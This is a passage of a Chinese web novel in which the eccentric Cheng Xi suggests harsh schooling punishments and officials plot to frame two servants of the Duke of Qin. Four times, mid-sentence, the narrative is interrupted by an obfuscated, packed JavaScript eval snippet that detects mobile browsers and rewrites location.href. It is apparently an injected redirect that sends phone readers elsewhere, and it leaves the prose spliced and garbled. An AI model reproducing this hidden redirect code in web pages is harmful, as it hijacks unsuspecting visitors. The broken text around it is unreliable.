夫子说道:“程曦说,这些小孩既然是因为要讲义气不愿意供出参与的人员,那么可以以其人之道还治其人之身。” “怎么治?”大家都很好奇。 “就是找到两三个在平时和其他人称兄道弟又给人抄作业的小孩,然后罚他一个人承担所有人的惩罚,只有有人招认自己的错误并且指认一人,才能减轻一份惩罚,”夫子说着就笑了:“这种情况下,认为要讲兄弟义气的小孩不愿意让自己兄弟替自己受过,于是纷纷招认指认。” 众人听着,都面带笑意。 “这惩罚又是什么,为什么全部人都在哭呢?”族长问道。 夫子闻言说:“这就是程曦的第三个好主意了,说这群孩子每天只知道读书,没有吃过苦头,所以以为读书已经很苦了,才会厌学不认真读书,所以我们给的惩罚就是做工和种地,这群孩子是累得哭呢!” 族人听了之后很是惊讶:“做工?种地?我家孩子回家没告诉我啊!” “是啊,被惩罚没告诉也就算了,怎么都没说自己在种地?”有族人不解,又问族长:“您曾孙也没有告诉过你们吗?” “这就是程曦的第四个主意了,”夫子说道。 边上的人都麻了:程曦你怎么这么多主意?孩子摊上你也是倒了霉了! 夫子的表达欲正好很旺盛:“第四个主意,就是作为男子汉,不能叫苦叫累,谁先被家里发现干粗活,谁家家长第一个过来,大家就全都嘲笑他没断奶,还会和外面的所有人说他多么不行。” “这招可真狠啊!”有人偷偷感慨。 “就是,谁不要面子啊?”说话的人偷偷看程曦。 “经过程曦的改进,现在孩子们读书认真多了。”夫子夸赞道。 众人闻言也连忙夸赞程曦。 族长这时候不高兴了,毕竟平时被人簇拥的都是自己的孙子曾孙,自家孩子也聪明,想到办法让其他人信服他,愿意拿他当兄弟,只有这样,才能够有足够的支持者,以后顺利地继承嫡支的族长族老之位,结果现在程曦狠插一脚。 这不是坏了自家子孙屡试不爽的办法吗? 族长感觉程曦就是和自己对着干的。自己想干什么,程曦总要掺和一脚,还总是被他捣乱搞坏了。 因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411954|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此,程曦拥护的,族长必须要反对。 “曦哥儿啊,你的出发点是好的,也提供了有效的办法,但是孩子们来族学毕竟是读圣贤书的,要懂五谷,但是不能让他们把时间浪费在种植上啊,而且孩子还在长身体呢!辛苦劳作,每天还要熬夜做课业,多伤害孩子啊!”族长貌似语重心长地说道。 族长这话一说,不少族人觉得他说的也有道理,程曦明显是欠考虑,夫子自家的孩子也不在里面,所以两人都不心疼孩子,眼看着这件事情的战队就要逆转,程曦立马站起来说道:“族长,您说的对,我觉得夫子就不应该用我这四个办法!” 族长已经严阵以待,结果听到程曦这话,整个人拔剑四顾心茫然。 不是,你不应该坚持吗?就这么快认怂了,认为你做错了? 程曦怎么会不知道族长的想法?但是程曦却偏偏要附和族长。 因为程曦知道,人类的天性就是当你要开窗的时候,大家都不赞同,但是当你要掀开房顶了,大家又觉得可以让你开个窗了。 所以程曦现在就在做掀房顶的事情。 “要我说,夫子就不应该用我这四个办法,我明明提出了更好的办法,夫子他偏偏不用!”程曦状似抱怨地说道。 大家都很好奇:“什么办法?” 程曦笑嘻嘻地说:“把他们拉到一百里外,然后开始随机提问,回答出来的就上车坐着,回答不出来的就跟着车跑步,学起来多有效率啊!谁会谁不会,回家一看一目了然。” “而且吧,本来孩子脑子不够好不会做课业,还让他天天看书,他能学出什么呢?还不如让他多跑跑,强健体魄,日后参军当捕快什么的,都有机会,多好啊!” “如果这个办法觉得太温和了,咱也可以让孩子倒立答题、水上平衡木答题,锻炼臂力和游泳,一举多得!最好是不要准备好饭食,每天只有一成学生可以吃到肉,一成吃到菜,一成吃到白饭,剩下的要么吃带壳糙米要么饿着,要想小孩安,三分饥与寒,多养生啊!” 本来因为来人已经哭声暂停的小孩们全都哭出来了,池明崖不由心里感慨:程曦他可真不做人啊! 21. 第 21 章 池明崖最为震撼的并不是程曦的办法,而是他就这么毫无顾忌地当着所有人的面把主意说了出来。 这是池明崖这种永远暗中筹谋的人没有办法理解的。 程曦主要就是因为不在乎:人生在世,这也顾忌,那也顾忌,还有什么意思? 在程曦看来,别说这群小崽子有没有人能读出成绩来,就是有,能有成绩的,也不会太蠢,自然不会因为这点小事就记恨自己。 而且吧,自己只是给他们塑造一个完整的童年,又怎么能算错呢? 给了池明崖一个小小的震撼之后,程曦还在试图进行更多的脑洞建议。 见状,“大逆不道”的族弟直接扑上来捂住了程曦的嘴:“哥!求求你,别说了!” 程曦一把扯下族弟的手掌:“你小子是不是刚刚还摸过牛?一股味道!” 眼见着程曦的注意力转移了,部分机灵的孩子总算松了口气,紧张地看向夫子,只希望他不要采纳程曦这些见鬼的建议。 边上的学生家长们连连劝说:“倒也不必,孩子还小,长大了会知道用功读书的。” 就连想要彰显自己权威的族长也不废话了:“我知道曦哥儿你是好意,但是教育不是这样搞的,揠苗助长,还是先按照夫子的现在做的办法来,我们尝试尝试,不行再改吧。” 在劝说程曦别不做人上,族里达成了高度一致,甚至连矛盾都没有了。 为了让程曦不要多话,有人转眼看到了池明崖:“今天是让状元老爷给咱们族学里的学生们讲授,程曦你有主意,后面再说,咱别耽误正事!” 原本对着这番场面看得津津有味的池明崖突然被人提及,心里没有太意外,只是遗憾不能看到程曦更多的发挥,但依然冷静地完成了对于自己来说轻车熟路的当众演讲。 直到打发走了族学里的小学生们,池明崖才在众人的簇拥下默写出了今年的进士名单。 “多谢池大人,要不是池大人,我们怎么也不会知道今年是哪些青年才俊蟾宫折桂啊。”族长吹捧地非常生硬。 程曦听了忍不住感慨,这也就是族长投胎投地好,不然就他的读书水平和拍马屁水平,哪里能够有现在这么锦衣玉食的生活? 池明崖平日里并不少人讨好,对于族长这些说法,也只是笑着谦逊:“程族长言重了,便是没有本官,今年进士的同年录迟早也会传来。” “那怎么能一样呢?”族长连忙说道:“要不是池大人,等京城的同年录编制出来,还不知道猴年马月呢!” 池明崖但笑不语。 如果别的人这么说,特别是偏远地区的人这么说,池明崖或许会相信,比如自己老家的乡村,可能几年之后也不知道今年中了进士的到底是哪些人。 但是程族长这话,池明崖是半点不信。 不提程族长的儿子是福建巡抚的幕僚,春闱名单一出来,就会有人立刻向这些封疆大吏报信,有这一层关系的程族长怎么也不可能几个月都拿不到今年的进士名单,就是程族长真的什么关系都没有,以江南地区的文风,没两个月商人们就能到处兜售同年录。 要不程曦怎么说程族长这拍马屁水平不行呢?这话说的虽然捧了池明崖,但是只要是个脑子清楚的就知道人说的是假话,又能有多高兴呢? 不过……程曦看了看少族长,又看看池明崖,心里也有一些明悟:族长未必不知道自己马屁拍的假,但是他只要达成别让池明崖找麻烦的目的就可以了,没必要研究池明崖的喜好。 毕竟有那个功夫,他还不如思考一下如何帮自己二儿子牢固在福建巡抚跟前的地位。 但是同样的,程曦也不觉得自己需要讨好池明崖——现在两人是互利互惠的关系,给池明崖师弟当师爷,估计不会是个轻松活。 这般情况下,池明崖难得离开一个地方的时候,没有被十里相送。 等池明崖回到县衙,却意外发现老师已经来了。 “老师!”池明崖连忙见礼:“您竟然今天就到了?” 杨阁老点头:“路上走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427043|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得快乐点,提早了一两天。” 解释完这一句之后,杨阁老问池明崖:“明崖你今日去做什么了?竟然离开县衙这么久?” 池明崖闻言解释道:“之前和您说过的程氏宗族的案子,我去了一趟程家庄,查查看这贵嫂的案子有没有回旋的余地。” 杨阁老点头:“看得怎么样?” 池明崖低头:“两种倾向的证据我都收集到了,就看老师您是怎么想的,想要这么判了。” “我怎么想的不是关键,”杨阁老提点徒弟道:“关键是两方谁出的起价钱,皇上又更信任谁。” 池明崖连忙点头:“弟子明白,皇上的信任和关照至关重要。” 杨阁老用孺子可教的眼神满意地看着池明崖点头,“既然收集了信息,就让和你一起去的小厮也来见我,你们不同人应该能够看到不同的东西。” 听到杨阁老的话,池明崖不好意思地摸了摸鼻子:“老师,我一个人去的,您有问题问我就好。” 听到池明崖这话,杨阁老的小儿子瞪大了眼睛。 杨阁老都没忍住,立马骂道:“君子不立危墙之下,你明明知道皇权不下乡,居然还一个人只身跑到别人宗族族地里!这是那程氏还知道敬畏,如果不然,偷偷把你杀了埋了,你又要如何?” 池明崖连忙站起来:“是弟子欠缺考虑。” 杨阁老看着池明崖说:“你不要不服,觉得人家宗族不敢处置你!那是你运气好!我当年像你这么大的时候,赴任黑山县,当时想着去走访县中各个村落的种植情况,结果就被人敲了黑棒,要不是有好心人路过捡起我送到医馆,我可能早就被野兽吃进肚子里了。” 回忆起自己以往的事情,杨阁老继续说道:“那些偏远地区失踪的官员是怎么死的,可都不好说,你呢?你还敢单刀赴会!” 语气越平静,杨阁老心里越生气。 池明崖感觉这波要被老师处罚,忽然想到之前程曦要开窗先掀屋顶的做法——要不,对着老师试一试? 22. 第 22 章 池明崖不确定,池明崖想要试一试。 为此,池明崖对着杨阁老说道:“老师,这件事情确实是我有失考虑,但是如果连一个小小的程家庄我都不敢去,又何谈替天子巡狩四方呢?” 池明崖说道:“最近吏部要调任官员,陛下也有意向让我去地方锻炼一下,目前我也考虑要不要去西南或者北方,这些都是必经之事。” 关于自己想要去艰苦边疆这种事情,池明崖之前是没有和杨阁老说的,突然一提起,杨阁老只觉得头晕目眩。 “糊涂!”杨阁老立马怒斥:“你是一甲状元出身,翰林院出来去到六部,只要你不犯事,以后定然是宰辅之才,怎么糊涂到想要去地方?” “去地方也就算了,江南、两湖、川蜀、直隶,哪里不行?你还要去西南或者北方?”杨阁老只觉得痛心疾首:“你趁早打消这些主意!我绝不会同意的!吏部送上来我也不会批!” “老师,我们当官,是为了个为生民立命!边疆现今军备松弛,西南地区的苗白又经常闹事,正是需要整治的时候,如果只是端坐高堂之上,也许睡梦中就会被入关的北蛮砍下脑袋!”池明崖慷慨激昂地说道:“前事之鉴,后事之师!” 靖康之耻被嘲笑了几百年,差点就让异族占领这中原,所以现在没有文臣敢让自己通过这种方式“名垂青史”,大虞党争就算再严重,也不敢忽略对于边疆的物资支持。 只是天下持平日久,打过仗的开国元勋和他们亲自培养的二代三代都已经故去,现在都是太平将军,军备废弛似乎成为了一种不可逆的趋势,哪怕朝堂着重配置武举选出来的新鲜血液,也没办法改变大的趋势。 杨阁老一派一直以来都是主战派,从政见而言,池明崖说出来的这些也符合党派的核心利益诉求,虽然在杨阁老看来有些突兀,但并不算让人难以接受,更不会觉得池明崖说的事纯粹的假话。 这也是池明崖在开门之前就已经考虑过的事情,毕竟如果不是有理有据的说法,杨阁老完全不会相信,更谈不上妥协开窗。 学习程曦的办法,总要让杨阁老相信才行。 当然,池明崖心里也不是完全没有去边疆的想法,入阁这种事情,凭功绩、凭资历、凭帝心。 虽然池明崖现在算是简在帝心,但是皇帝一脉的寿元都不太长,五十多岁驾崩已算是正常年龄,四十之后死亡都不算英年早逝,现在皇帝已经四十多岁,随时可能会因为意外或者疾病过世,但是池明崖还没成长起来。 如果不想要站队皇子,池明崖就必须要面临一个问题——如何在帝心之外发展别的入阁路径。 如果说帝心有风险,那么资历就更不靠谱了,所以池明崖早早的就把主意打到功绩上来。 在京城固然能够积攒功绩,但是因为大家都在京城干活,如何让自己的功绩如昭昭日月无可辩驳——只有办难事大事才行。 考虑到钦差工作的危险性以及自己不一定能够争取到钦差的工作,池明崖将目光对准的外放——翰林经验和六部经验都有了,先去江南之类的稳定地区,做一些改革创新,而后升职去边疆地区,最好能够镇压一下苗白的叛乱或者抵抗一下北蛮的劫掠,顺理成章回到中央,再任一届就有机会入阁了。 升职路线清晰明确,只等着老师同意自己外放。 杨阁老看着池明崖慷慨激昂的样子,仿佛看到了二十多岁的自己。 自己那时候是怎么想的?也是和他一样觉得能够改变朝堂?所以即使触怒皇帝也在所不惜,最终被贬官去黑山县,差点死在那个偏僻的小山村? 想到自己当初的经历,杨阁老立刻反对道:“不行!我们之前已经商量好了,这次吏部考核你肯定是优秀,按照资历可以再升半级,已经给你走动位置了。” “老师,我意已决,请老师支持我的决定!”池明崖坚定地说。 “我说了不可以!你还把我当老师,就别提这件事!”杨阁老断然拒绝。 池明崖虽然在实践程曦的办法,但是也有真心的疑惑:“师弟去往两广,老师您和师叔都不慌不忙,没有为他走动关系,我只是想要外任,不管怎么说,我比师弟总是多了很多经验,老师您为何一定要反对呢?” 杨阁老的小儿子闻言忍不住在心里说:“那怎么一样,你可是我爹和师叔他们的心头肉啊!” 这么多年,杨阁老的小儿子早就认清了一个事实,那就是自己和其他几个亲爹好友家的孩子们都没有池明崖在他们心里重要。 不过,杨阁老的小儿子也能理解,自己和哥哥们不过是中人之姿,很多事情都需要亲爹和师伯师叔帮扶提点,不仅谋划能力不足,还不够果断,也不敢冒险承担,这辈子能够在亲爹的余荫之下乞骸骨前当个红袍官员就已经是侥天之幸,如何能够和池明崖相比? 池明崖是他们政治思想的继承人、意志的传承者、北党倾力培养的未来党魁、所有人都看好的未来阁老、能够扛大旗的天选首相候选人。 就凭着这些,就是把儿子们都送到边远地区当官,亲爹也不会把池明崖送过去。 即将赴任的小师弟虽然有点倒霉,但是只要不是深仇大恨,其他党派都不会下狠手害他,就连和他有矛盾的秦国公府等人,也不会下死手,毕竟对方也怕和北党这么多大佬结仇,而且害死小师弟有能有多大好处? 但是池明崖就不一样了,如果有机会,结死仇又如何?少一个有力的内阁竞争者,就是扔出去十个八个本党派背黑锅的替罪羊也值得啊! 正是因为大家对于池明崖的看中,也使得杨阁老对于他的人身安全有所担忧。 杨阁老的小儿子看着亲爹和师兄池明崖剑拔弩张,连忙发挥自己的作用,缓和关系道:“师兄,父亲也是关心您,担心其他党派针对您,特别是边疆那边如果有战事,很容易下黑手。” 劝完池明崖,杨阁老的小儿子又开始劝说亲爹:“父亲,师兄他也是想要建功立业,在六部按部就班确实可以升到内阁,但是一旦圣上龙体欠安,后面的事情都不好说,师兄现在出去外放历练,等过三年六年,您也还在位置上,能够直接把他调回中央部门。” 劝完两边,杨阁老小儿子就忍不住在心里想:这个家没有我,迟早要散! 池明崖未必不懂得这个道理,于是也让步,最终说道:“学生也是想着历练要趁早。” 听到这两人的话,杨阁老长叹一口气,好像老了三岁一般,最终还是说道:“你们年轻人不知事,边疆就不要再提,西南也不行,如果确实要外放,我和你师伯师叔们商量商量,看看江南、两湖和中原有没有合适出成绩的地方。” 听到杨阁老的话,池明崖内心就是一喜:成了! 程曦这办法还真是不错!池明崖心想:当你要得寸的时候,大家都不允许,当你不仅想要得寸更想要进尺的时候,大家忽然又觉得得寸是可以的了。 就连老师也逃不脱这个办法。 一直有困扰的问题解决,池明崖神色都飞扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452591|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来,杨阁老看在眼里,暗叹年轻人就是不够稳重,但是年轻人珍贵的也是他们的锐气,所以杨阁老也不想过于打磨掉池明崖身上这股气,只是转移话题说道:“你去往程家庄,是因为程曦?还是因为程氏宗族那件通奸案?” 池明崖心想,老师果然不再提自己去程家庄的事情了,这么想着,池明崖没有隐瞒地说道:“兼而有之。” 杨阁老闻言,缓缓点头:“程曦这人,你看如何?你师弟能够压服他吗?” 池明崖摇头:“他不是会受人管束的性格,也不是能够被简单的恩惠收买的性格,如果要施大恩,可能还需要进一步考察他,所以师弟能够用他一个任期,从两广平安回来就已经是最好的预期了。” 杨阁老大致也猜测到是这么一个情况,但是依然追问:“你去程家庄,获得了什么额外的信息?” 池明崖闻言,倒是回忆起一位老太太和自己分享的八卦,忍不住和老师分享道:“我过去程家庄的时候,听人说程氏族里想要给程曦过继一个儿子。” “过继?”杨阁老有点惊讶:“他不能生?” “根据他们宗族里老人的说法,是说他体弱非常,为了能够延长寿数,要严格养生,既不能进考场耗费身体,也不能因为阴阳交合泄了阳气。” 这意思很明显,程曦都不能阴阳交合,又何谈能够有孩子? “他身体这么差,那去到两广,能不能撑过那边的热毒?”杨阁老皱眉。 古代天气热起来,是真的能够热死人的,毕竟没有有效的降温措施,两广已经是流放犯人的偏远之地了,不是那边长大的、身体不好的,都撑不过几个年头。 “学生观察,程曦的身体并没有传说的那么差,科举天寒地冻可能熬不过去,但是不至于说成婚都没办法。”这年头的读书人也都会看一点医书的:“估计是因为上无父母,怕松口娶妻会被族里安排,反而受到妻子和岳家连累,所以咬死了不娶妻,只是没想到族里看到他不娶妻,反而给他安排上过继儿子。” “这程氏宗族确实是,吃相难看!”杨阁老忍不住点评道。 过继儿子这种事情,怎么也要等人三十多四十多再安排,二十多的年轻人,哪有过继儿子的? 这么想着,杨阁老又教学生:“你和他既然是平辈论交,这种小事,或许也可以帮上一把,说给他介绍名医、或者介绍姻缘,挡一挡宗族的算计。” “人家身体不好,不娶妻的借口可是不想耽误女孩子一辈子。”池明崖笑着说道。 “糊涂!”杨阁老立马说道:“周边人家,也不是没有女儿身体不好、宠爱女儿,不愿意她们拼着性命遭受生育之苦的人家,不圆房就是,总要有人主持内务,谈何耽误?” 池明崖摇头:“老师,刚刚学生和您说了,程曦就不是一个能受管束的人,他不愿意接受宗族的保媒拉纤,难道就能接受我们这种刚认识的人的介绍?” 说完,池明崖又有点好笑地说道:“您也不用担心他,他可好着呢!我都听人说了,他直接放话出来,说是家里贫穷,最好多过继几个儿女给他,十个八个不嫌多,在他日后没钱抓药的时候,也好卖儿卖女换药钱,也全了子女的孝敬之心。” “噗!”杨阁老小儿子后悔了,自己就不该在这个时候喝茶,不然也不会忍不住喷出来。 一向喜怒不形于色的杨阁老也后悔了,自己刚刚就不该一边捋胡须一边听池明崖说话,一时手重竟然拽了几根下来!自己的美鬓啊! 23. 第 23 章 杨阁老宦海纵横几十年,什么大风大浪没见过?——程曦这样的,他是真的没见过。 能够让官场沉浮多年的杨阁老也没控制住自己,可见程曦的精神污染程度有多强了。 “不是?他说过继给他儿女的他要卖掉?”杨阁老的儿子不可思议地率先确定。 池明崖点头。 一开始听说的时候,池明崖也非常惊讶,然而当池明崖预估余光看到一旁规规矩矩站着但是就是透出一股吊儿郎当味的程曦,池明崖又觉得,程曦能说出这种话也挺合理的? 杨阁老不禁疑问:“他不知道,身为秀才,随意买卖儿女,是会被问责的吗?” 池明崖不得不和老师强调:“他不是随意,而是因为身体不好,子女孝顺,愿意卖身为父亲看病并且抓补药。” 杨阁老听懂了,但是恨不得自己没有懂。 有的时候,不是一个人听学生转述奇葩故事,也挺无助的。 杨阁老这辈子见过的脸皮最后的人,就是兵部尚书,当年自己在吏部干侍郎的时候,这家伙为了磨人员分配去他们兵部,硬是能够不顾党派之争,试图住进自己家里。 但是现在,杨阁老觉得自己的老对手可能要往后稍一稍,脸皮这种东西,也是长江后浪推前浪,一人更比一人强。 最起码,老对头就说不出自己身体不好需要补药,子女孝顺自卖自身救治父亲这种话。 这是杨阁老还不知道程曦还考虑过吃光用光花光,留一屁股债给子女继承这种操作,不然只会觉得更炸裂。 此时此刻,杨阁老的第一反应就是叮嘱池明崖:“这事你说给我们知道也就罢了,你们两都不要外传,千万别被人知道程曦有过这种想法。” 杨阁老的小儿子听到父亲的话,猜测地问道:“是因为不能让程曦的名声被毁,影响到师弟吗?” 池明崖也误以为是如此。 杨阁老沉重地摇头:“不是,是怕他的事迹传到户部周老头那里,他把程曦抢去户部干活了。” 像程曦这种人,可不是要债的好苗子?要是被周扒皮知道了还得了?那不得第一时间请圣旨聘用程曦进入户部?好让他像另外的五部三寺要债? 毕竟能够像程曦这种利用规则还不要脸的人不多,稀缺人才啊! 杨阁老可不想有一天自己被程曦要债要到头上:那说不定是自己声名扫地的一天,就好比程氏族长。 想想程氏族长,也是一辈子的体面人,在公堂上当中被程曦说夜御七女以及富有内涵地说可能是放出来的假消息,至今还是县城人民的谈资和笑料。 杨阁老深刻地明白,一辈子很短,一辈子也很长,别的不说,只要要留清白在人间。 被杨阁老想到的周阁老突然打了个喷嚏。 开小会的皇帝不由关心老臣:“周师近日着凉了吗?” 周阁老和杨阁老这些都给皇帝当过老师,所以一直也被皇帝尊称。 周阁老否认:“臣身体尚好,可能是谁惦记臣。” 皇帝不由打趣:“那想来是杨师了。” 这话一出,小会的与会人员都笑了出来。 谁不知道周阁老和杨阁老不对付?两人也没什么深仇大恨,党争也不是杨党和严党那么厉害,但就是看对方不顺眼,碰到点事情就喜欢互相掐。 掐也没有掐过大事,都是一些杨阁老今天衣着不洁袖口有油皇上您需要申斥、周阁老今天迟到了一刻钟皇帝您不能偏心的小事。 听到昭明帝的话,周阁老在内心翻了个白眼,心里猜测估计真的是杨老头惦记自己,但是嘴上还在否认。 周阁老的否认大家都没当真,只是皇帝没忍住念叨了一句:“也不知道杨师是否到了目的地,江南离京城并不近,路上不知道有没有碰到意外。” 说完,昭明帝叹道:“我说让明崖过去也就可以了,但是杨师却偏要请命,杨师今年也是耳顺之年了,怎么让人不担心?” 听到昭明帝这话,杨党的参会人员都在腹诽:之前是谁跳脚震怒,恨不得杀人满门?要不是你摆出那种态度,杨阁老会亲自请命吗?现在你倒是会说不应该了。 但是演戏嘛,是做皇帝和臣子的必修课,皇帝要演,臣子就要陪着演,所以大家都纷纷顺着皇帝的意思劝说他,只说杨阁老是为江山社稷鞠躬尽瘁。 皇帝满意地演完这场戏,等人都离开,不禁沉下脸,心里暗道:这次河道巡抚被杀,肯定有今天这些人其中某一些人的手笔,就是不知道杨天勿能不能查得出来了,毕竟杨党可是唯一被朕排除嫌疑的党派啊。 被惦记的杨阁老决定将程曦从自己脑海里赶出去,杨阁老换了个话题。 “秦国公府一事,你是怎么计划的?”杨阁老问道:“人已经被你抓了?” 池明崖点头,解释道:“程曦之前的主意您也知道,但是我临时发现他们似乎打算离开本县,所以临时找了人指认,把他们先抓了起来。” 杨阁老闻言点头,又问道:“人已经抓了,但是那个老汉还没有失踪,你打算用什么理由?” 毕竟只是构陷,太容易被发现,肯定不能用这个了理由来一直关押秦国公府的人。 对此,池明崖也早有打算:“这事,在过去程家庄的路上,学生也已经和程曦探讨过了,学生的办法虽然可用,但是学生觉得程曦给的建议更合适。” 本来想要摆脱程曦影响的杨阁老听到又是程曦的主意,不由心里长叹:这家伙怎么就摆脱不了? 但是杨阁老能够走到内阁,就不是一个意气用事的人,虽然觉得程曦带来了一些让人目瞪口呆的故事,但是杨阁老本身是非常信任学生池明崖的,知道池明崖不会无的放矢,既然他说程曦的主意更合适,那杨阁老自然是要认真听一听。 “所以程曦的主意是?”杨阁老问道。 “程曦在路上有问我,突然将秦国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454687|168266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公府的两个家仆抓紧去,是不是不打算让刘老汉被外地定居的乡人请去包馄饨了,我也稍微解释了一下,”池明崖从头说道:“当时他问我打算怎么圆,我便说了自己的主意。” “也就是通过制造两人之间的误会,让他们招供一些的事情,从而达成一直关押的可能,然后再想办法和运河案件联系起来。”池明崖说道。 “不失为一个补救的办法,”杨阁老中肯地点评道:“比你师兄之前那个杀了攀咬他们的证人,死无对证的主意要好得多,那个蠢货,我都不稀罕说他!” 杨阁老骂师兄的时候虽然没有指名道姓,但是究竟是哪个师兄,池明崖心里一清二楚,杨阁老的小儿子也很明白。 毕竟两人都是名场面的见证者。 当时,杨阁老的三儿子听到杨阁老的提问,立马惊讶地反问杨阁老:“爹你不会打算杀人灭口吧?不是说只有死人才能保守秘密吗?把证人杀了,死无对证,然后对方就没办法证明你们诬陷他们!” 说着,杨三还劝亲爹:“这事太损阴德,而且也不符合圣人之言,爹你三思啊!” 被请求三思的杨阁老差点一口气没上来被儿子气晕过去,连骂三声蠢货,最后决定放弃这个三儿子,找关系把他安排进了鸿胪寺。 三儿子这种生物,不把他送进鸿胪寺这种把事情办砸了也不影响大局的部门,杨阁老怕自己的面子在皇帝面前不够用,捞不动他。 见证过名场面的池明崖和杨阁老小儿子都憋住了笑。 杨阁老这才继续提问:“所以程曦那边是什么建议?” 池明崖的表情控制得不错,丝毫没有憋笑的痕迹,对着杨阁老说:“程曦告诉学生,既然能抓,那也能放啊。” “放?”杨阁老感兴趣了,身体都坐直前倾了。 “程曦说,既然是临时诬告,那么肯定证据链不充足的,我们调查之后,就说因为证据不足,不能证明他们有问题,所以把他们放了就是。”池明崖说道:“放了之后,我们要明确告知他们两人,虽然不能证明他们有问题,但是他们牵涉到这个案子,要留在县里配合调查。” 池明崖边说,杨阁老边点头,显然是已经猜到了程曦的打算。 池明崖继续说道:“等把他们放出去,再请走刘老汉,然后就能用证据指向他们,配合这次招供的证言,正好可以把脏水泼到秦国公府头上。” 听到这话,杨阁老的小儿子不禁疑问:“但是放了他们,不怕他们跑了吗?跑回京城的话,咱们也没办法抓人啊!” 池明崖看向杨阁老,杨阁老首肯:“你给他仔细解释解释。” “我们已经说了他们可能牵涉到案件,这时候他们还跑,岂不是做贼心虚,这怀疑有理有据,毕竟没问题你们跑啥呢?”池明崖说:“所以把他们一直关起来,岂不是很合理?” “妙啊!”杨阁老小儿子兴奋地一拍手:“这可真是进退两难的毒计!” 24. 第 24 章 之所以说这个计策狠毒,是因为大家都看得出来,这是给了人希望,又把人推入深渊。 关键是,只要砚秋和墨秋被放出去,他们就是进退两难。 走吧,会被抓住当做心虚逃离。 不走吧,舞台都搭好了,就等着秦国公府上台。 如果说砚秋或者墨秋察觉到不对,给秦国公府送信——那就更好了,拔出萝卜带出泥。 这一局,砚秋和墨秋不管怎么选,都不对。 如果墨秋和砚秋能够知道这些事情,不知道他们会不会后悔在一开始得罪程曦。 当然,就算他们没有得罪,程曦也不一定会放过他们,毕竟,秦国公府的世仆手里能没点脏事?根本不可能!所以程曦为了自己的利益算计他们的时候,根本不会有愧疚感。 人不为己,天诛地灭。程曦的偶像曹老板说过:宁我负天下人,不可让天下人负我! 虽然到不了“为我牺牲是你们的荣幸”这种程度的精神状态,但是程曦绝对不至于说因此感到愧疚——道德标准这么高的人不适合混封建社会的官场。 显然,真的混官场并且很成功的杨阁老很欣赏程曦的建议。 “确实是妙计。”杨阁老继续抚摸自己为之骄傲的胡须:“欲擒故纵这一计,程曦这小子算是学明白了。” “如果老师没有意见,那么学生先安排下去了?”池明崖问道。 杨阁老点头,又叮嘱池明崖:“如果这两人出去后没有给秦国公府去信,你也可以帮他们一把。” 设计这一出,杨阁老从头到尾想要对付的就是秦国公,怎么可能只收拾两个仆从就心满意足?自然要想方设法把秦国公拉下水。 叮嘱完之后,杨阁老又问池明崖:“之前你和程曦谈,他有意向当你师弟的师爷是吗?” 池明崖点头:“他基本答应了。” 说罢,池明崖揣摩着杨阁老的脸色,问道:“是否需要喊他过来,给您看看?” 杨阁老闻言摆手:“我暂时不见他,这样,你给你师弟去信,让他赶紧休官员赴任的赶路假,提前来这边,见一见他这未来的师爷。” 虽然不知道杨阁老是怎么想的,居然不肯见程曦,但是池明崖觉得自己或许猜到了其中几分,于是只是答应下来,没有提出疑问。 事情紧锣密鼓地布置了下来,第二天池明崖就把砚秋和墨秋放了。 出狱的时候,砚秋和墨秋都一脸怀疑:这些人是不是有什么阴谋? 毕竟当初两人是莫名其妙地被抓了起来,审讯的时候还说有人招供他们和河道巡抚死亡有关系,就算两人抬出秦国公府的身份也没有用。 但是就这么过了一天多的时间,衙门又把两人都放了? “就算抓错人,他们怎么放得这么爽快?也不敲诈一点金钱?”墨秋不理解。 在墨秋的世界里,哪里有人都抓了还不敲诈的道理?就是秦国公让人处置奴仆,大家也会先把他们家里值钱的东西收干净,又严刑逼出财产所在,确定榨不出油水了,再按照秦国公的意思把人卖出去。 在墨秋看来,官府只有比秦国公府更黑的,所以怎么也不能理解对方什么都没敲诈,就把自己两人放出来了。 砚秋这两天打听消息,也打听到了一些之前在秦国公府没有听过的内容。 